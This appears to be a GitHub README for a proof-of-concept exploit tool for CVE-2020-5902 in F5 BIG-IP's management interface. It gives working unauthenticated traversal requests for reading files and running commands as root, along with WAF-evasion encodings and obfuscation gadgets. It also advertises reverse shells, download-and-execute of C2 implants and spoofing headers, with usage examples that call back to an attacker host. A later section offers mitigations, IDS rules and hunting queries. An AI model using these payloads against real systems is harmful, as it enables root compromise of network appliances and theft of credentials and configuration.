CVE-2020-5902 — F5 BIG-IP TMUI RCE

Proof-of-Concept exploit for the critical path-traversal / remote code execution vulnerability in F5 BIG-IP's Traffic Management User Interface (TMUI).

⚠️ For authorized penetration testing and security research only. Unauthorized use against systems you do not own or have written permission to test is illegal. The author assumes no liability for misuse of this tool.

Background
Vulnerability Analysis
Technical Deep-Dive
Affected Versions
Features
Installation
Usage
Defensive Measures
Detection & Threat Hunting
Timeline
References
Disclaimer

Background

F5 BIG-IP is a family of multi-purpose network appliances (load balancers, WAFs, application delivery controllers) deployed in the majority of Fortune 500 companies, financial institutions, healthcare organizations, and government agencies worldwide. The Traffic Management User Interface (TMUI) — also referred to as the Configuration Utility — is the web-based management portal accessible on port 443 (or 8443).

In July 2020, F5 disclosed CVE-2020-5902, a Critical (CVSS 9.8) unauthenticated path-traversal vulnerability in TMUI that allows a remote, unauthenticated attacker to:

Read arbitrary files from the underlying Linux system (LFI)
Execute arbitrary OS commands as root (RCE)
Completely compromise the appliance and pivot to internal networks

Within days of public disclosure, mass exploitation was observed in the wild, including by nation-state actors.

Vulnerability Analysis

Root Cause

The TMUI is built on Apache Tomcat and uses a servlet filter to enforce authentication on protected resources. The vulnerability lies in how Tomcat parses semicolon-delimited path segments (;).

The following request bypasses authentication entirely:

GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

Why it works:

The Tomcat servlet filter sees the path as /tmui/login.jsp (ends before ;) — which is the public login page — and allows the request.
Tomcat's URL resolver then processes /..;/ as a path traversal (/../) before dispatching.
The request is ultimately routed to the protected fileRead.jsp servlet without authentication.

┌──────────────────────────────────────────────────────────────────┐
│  Client Request                                                   │
│  GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp     │
└────────────────────────────┬─────────────────────────────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcat Servlet Filter       │
             │  Sees: /tmui/login.jsp  ✓     │
             │  (public endpoint → ALLOW)    │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │    Tomcat URL Resolver         │
             │  Resolves: /..;/ → /../       │
             │  Final path: /tmui/locallb/   │
             │  workspace/fileRead.jsp ← 🔓  │
             └───────────────┬───────────────┘
                             │
             ┌───────────────▼───────────────┐
             │  fileRead.jsp (no auth check) │
             │  Reads arbitrary files as root│
             └───────────────────────────────┘

From LFI to RCE

The tmshCmd.jsp servlet (also reachable via the same traversal) passes the command and utilCmdArgs parameters directly to tmsh (the BIG-IP management shell), which wraps run util bash -c '...'. This provides unauthenticated root-level OS command execution:

POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'

Technical Deep-Dive

Attack Flow

Phase 1: Reconnaissance
  └─ TCP banner grab (HTTP/TLS fingerprint)
  └─ SSL certificate analysis
  └─ HTTP headers fingerprint (Server, X-Powered-By, Set-Cookie)
  └─ BIG-IP version estimation from /etc/f5-release

Phase 2: Vulnerability Check
  └─ Iterate over 6 traversal encoding variants
  └─ Test against 4 known-readable sentinel files
  └─ Confirm output matches known indicators (root:x:0:0, BIG-IP, etc.)

Phase 3: Exploitation
  ├─ Vector A: tmshCmd.jsp (primary RCE)
  │    └─ Command obfuscated via base64 / hex-encode gadgets
  ├─ Vector B: fileRead.jsp + command injection in fileName param
  │    └─ OS command injected into the fileName parameter
  └─ Vector C: Log poisoning (User-Agent injection → read access_log)

Phase 4: Post-Exploitation (optional)
  ├─ Interactive shell (command REPL)
  ├─ Reverse shell (4 concurrent one-liners)
  ├─ LFI brute-force (30 sensitive paths, parallel)
  └─ C2 implant deployment (Sliver / Metasploit / custom)

Traversal Encoding Variants

Command Obfuscation Gadgets

The tool applies one of two obfuscation gadgets per execution, making static signature detection harder:

# Gadget 1 — Base64 encode/decode pipeline
bash -c {echo,aWQ=}|{base64,-d}|bash

# Gadget 2 — Hex-byte printf evaluation
eval "$(printf '\x69\x64')"

Affected Versions

BIG-IQ, BIG-IQ Centralized Management, F5OS, and Traffix SDC are not affected by this specific CVE.

Features

Multi-variant path traversal — 6 encoding permutations to evade WAF/IDS signatures
Three independent RCE vectors — tmshCmd.jsp, fileRead injection, log poisoning
Command obfuscation gadgets — base64 and hex-encode pipelines
Passive recon phase — TCP banner, SSL/TLS fingerprint, HTTP header analysis
Parallel LFI brute-force — 30 sensitive paths, 10 concurrent threads
Concurrent reverse shells — 4 one-liners fired simultaneously
C2 integration — Sliver, Metasploit, custom implants (Linux/Windows/PS1)
Evasion headers — random User-Agents, IP spoofing headers, noise headers
Interactive shell REPL — !revshell, !c2, !read, !brute commands
Proxy support — Burp Suite / mitmproxy integration

Installation

git clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3

Requirements: Python 3.10+

Usage

python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
                        [--cmd CMD] [--shell] [--lfi-brute]
                        [--revshell LHOST LPORT]
                        [--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
                        target

Examples

# 1. Vulnerability check only
python CVE-2020-5902.py 192.168.1.100

# 2. Custom port + single command execution
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"

# 3. Interactive shell
python CVE-2020-5902.py 192.168.1.100 --shell

# 4. LFI brute-force (reads 30 sensitive paths)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute

# 5. Reverse shell callback
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444

# 6. Deploy a C2 implant (Sliver example)
python CVE-2020-5902.py 192.168.1.100 \
  --c2-url http://10.0.0.1:8000/implant \
  --c2-type linux

# 7. Route through Burp Suite for traffic inspection
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080

Interactive Shell Commands

Once in --shell mode, the following special commands are available:

Defensive Measures

Immediate Mitigations (if patching is not yet possible)

1. Block TMUI Access from the Internet

The single most effective mitigation is to ensure the management interface is never reachable from untrusted networks:

# BIG-IP: restrict management access to a dedicated VLAN/IP range
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config

Alternatively, from BIG-IP Self IP configuration, ensure the management port has no external route.

2. Apply F5's Official Mitigation (pre-patch)

F5 published a mitigation script that adds an Apache RewriteRule to block the traversal pattern:

# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]

Reference: K52145254 — Mitigation steps

3. Patch — Apply the Fixed Version

The definitive fix is to upgrade BIG-IP to a patched release (see Affected Versions table). F5 corrected the servlet filter logic to properly parse semicolon-delimited path segments before authentication enforcement.

Architecture-Level Defenses

Zero-Trust Network Access for Management Planes

┌────────────────────────────────────────────────────────────────┐
│  RECOMMENDED ARCHITECTURE                                       │
│                                                                 │
│  Internet ──────► Firewall ──────► DMZ / Production           │
│                      │                                          │
│                      │  (DENY all traffic to mgmt ports)        │
│                      │                                          │
│                   Jump Host ──────► BIG-IP TMUI (port 443)    │
│                 (MFA + VPN)         (management VLAN only)     │
└────────────────────────────────────────────────────────────────┘

Key principles:

Management interfaces must never be on the same IP/port as production traffic
Access requires VPN + MFA before reaching the jump host
BIG-IP Self IP port lockdown should be set to Allow None or Allow Defaults

Web Application Firewall Rules

If a WAF sits in front of BIG-IP management (unusual but possible in some architectures), add rules to block:

Requests containing ; in the URL path
Requests matching ..; or %3b in path segments
Requests to /tmui/locallb/workspace/ from non-management sources

Security Hardening Checklist

[ ] BIG-IP patched to a fixed version
[ ] TMUI not exposed to the internet (verify with Shodan/Censys)
[ ] Management VLAN segregated from production
[ ] Self IP port lockdown configured (Allow None or Allow Defaults)
[ ] MFA enforced on management access
[ ] BIG-IP software inventory in asset management system
[ ] Automated vulnerability scanning (Tenable/Qualys) includes BIG-IP
[ ] Log forwarding to SIEM configured (access_log, audit.log)
[ ] Network segmentation: compromised BIG-IP cannot reach domain controllers
[ ] Incident response playbook includes network device compromise scenario

Detection & Threat Hunting

IDS/IPS Signatures (Snort / Suricata)

# Detect path traversal attempts (semicolon bypass)
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"..;"; http_uri;
    content:"workspace"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000001; rev:1;
)

# Detect encoded semicolon variant
alert http any any -> $HOME_NET 443 (
    msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal (encoded)";
    flow:to_server,established;
    content:"tmui"; http_uri; nocase;
    content:"%3b"; http_uri; nocase;
    content:"fileRead"; http_uri; nocase;
    reference:cve,2020-5902;
    sid:9000002; rev:1;
)

Apache/HTTPD Log Pattern (grep)

# Hunt for traversal attempts in BIG-IP access logs
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log

# Look for successful hits to the vulnerable endpoints
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
  grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."

SIEM Query (Splunk SPL)

index=network sourcetype=f5:bigip:access
  (uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
  (uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "HIGH", "MEDIUM")
| stats count by src_ip, uri_path, status, risk
| sort -count

Indicators of Compromise (IOCs)

URL patterns:

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp

Common attacker objectives (files accessed):

/etc/passwd                  — credential harvesting
/config/bigip.conf           — VPN/routing config exfiltration
/config/bigip.license        — license key theft
/config/bigip_user.conf      — local admin account enumeration
/root/.bash_history          — historical command reconnaissance

Timeline

References

Disclaimer

This tool is provided for educational purposes and authorized security assessments only. It is intended for:

Penetration testers with written authorization from the asset owner
Security researchers studying the vulnerability in lab environments
Defenders building detection signatures and hardening configurations
CTF (Capture the Flag) competition participants

Using this tool against systems without explicit written permission is a criminal offense under the Computer Fraud and Abuse Act (CFAA), the UK Computer Misuse Act, Brazil's Lei Nº 12.737/2012 (Lei Carolina Dieckmann), and equivalent laws in most jurisdictions worldwide.

The author and contributors of this repository accept no responsibility for any damage, legal consequences, or other harm resulting from the misuse of this software.

Made for the security research community. Patch your systems. Protect your networks.

Standard	`tmui/login.jsp/..;/tmui/...`
Encoded semicolon	`tmui/login.jsp/..%3b/tmui/...`
Double URL encode	`tmui%2flogin.jsp%2f..%3b%2ftmui%2f...`
Unicode dot-dot	`tmui/login.jsp/%2e%2e;/tmui/...`
Case variation	`TMUI/login.jsp/..;/tmui/...`
Directory confusion	`tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/...`

15.x	< 15.1.0.4	≥ 15.1.0.4
14.x	< 14.1.2.6	≥ 14.1.2.6
13.x	< 13.1.3.4	≥ 13.1.3.4
12.x	< 12.1.5.2	≥ 12.1.5.2
11.x	< 11.6.5.2	≥ 11.6.5.2

`!revshell <lhost> <lport>`	Fire 4 reverse shell variants concurrently
`!c2 <url> <type> [args]`	Download and execute a C2 implant
`!read <path>`	Read an arbitrary file via LFI
`!brute`	Brute-force 30 sensitive paths
`!exit`	Terminate the session
`<any OS command>`	Execute via RCE and print output

2020-06-30	F5 privately notified
2020-07-01	F5 releases advisory (K52145254) and patches
2020-07-03	Public PoC released on Twitter
2020-07-04	Mass exploitation observed by multiple threat intelligence firms
2020-07-06	CISA issues Emergency Directive 20-03 mandating federal patch
2020-07-09	Nation-state actors (APT) confirmed exploiting in the wild
2020-07-15	Approximately 8,000 BIG-IP instances still unpatched (Shodan)
2020-08-xx	Ransomware groups begin targeting unpatched BIG-IP devices

Most Popular

About

F5-BIG-IP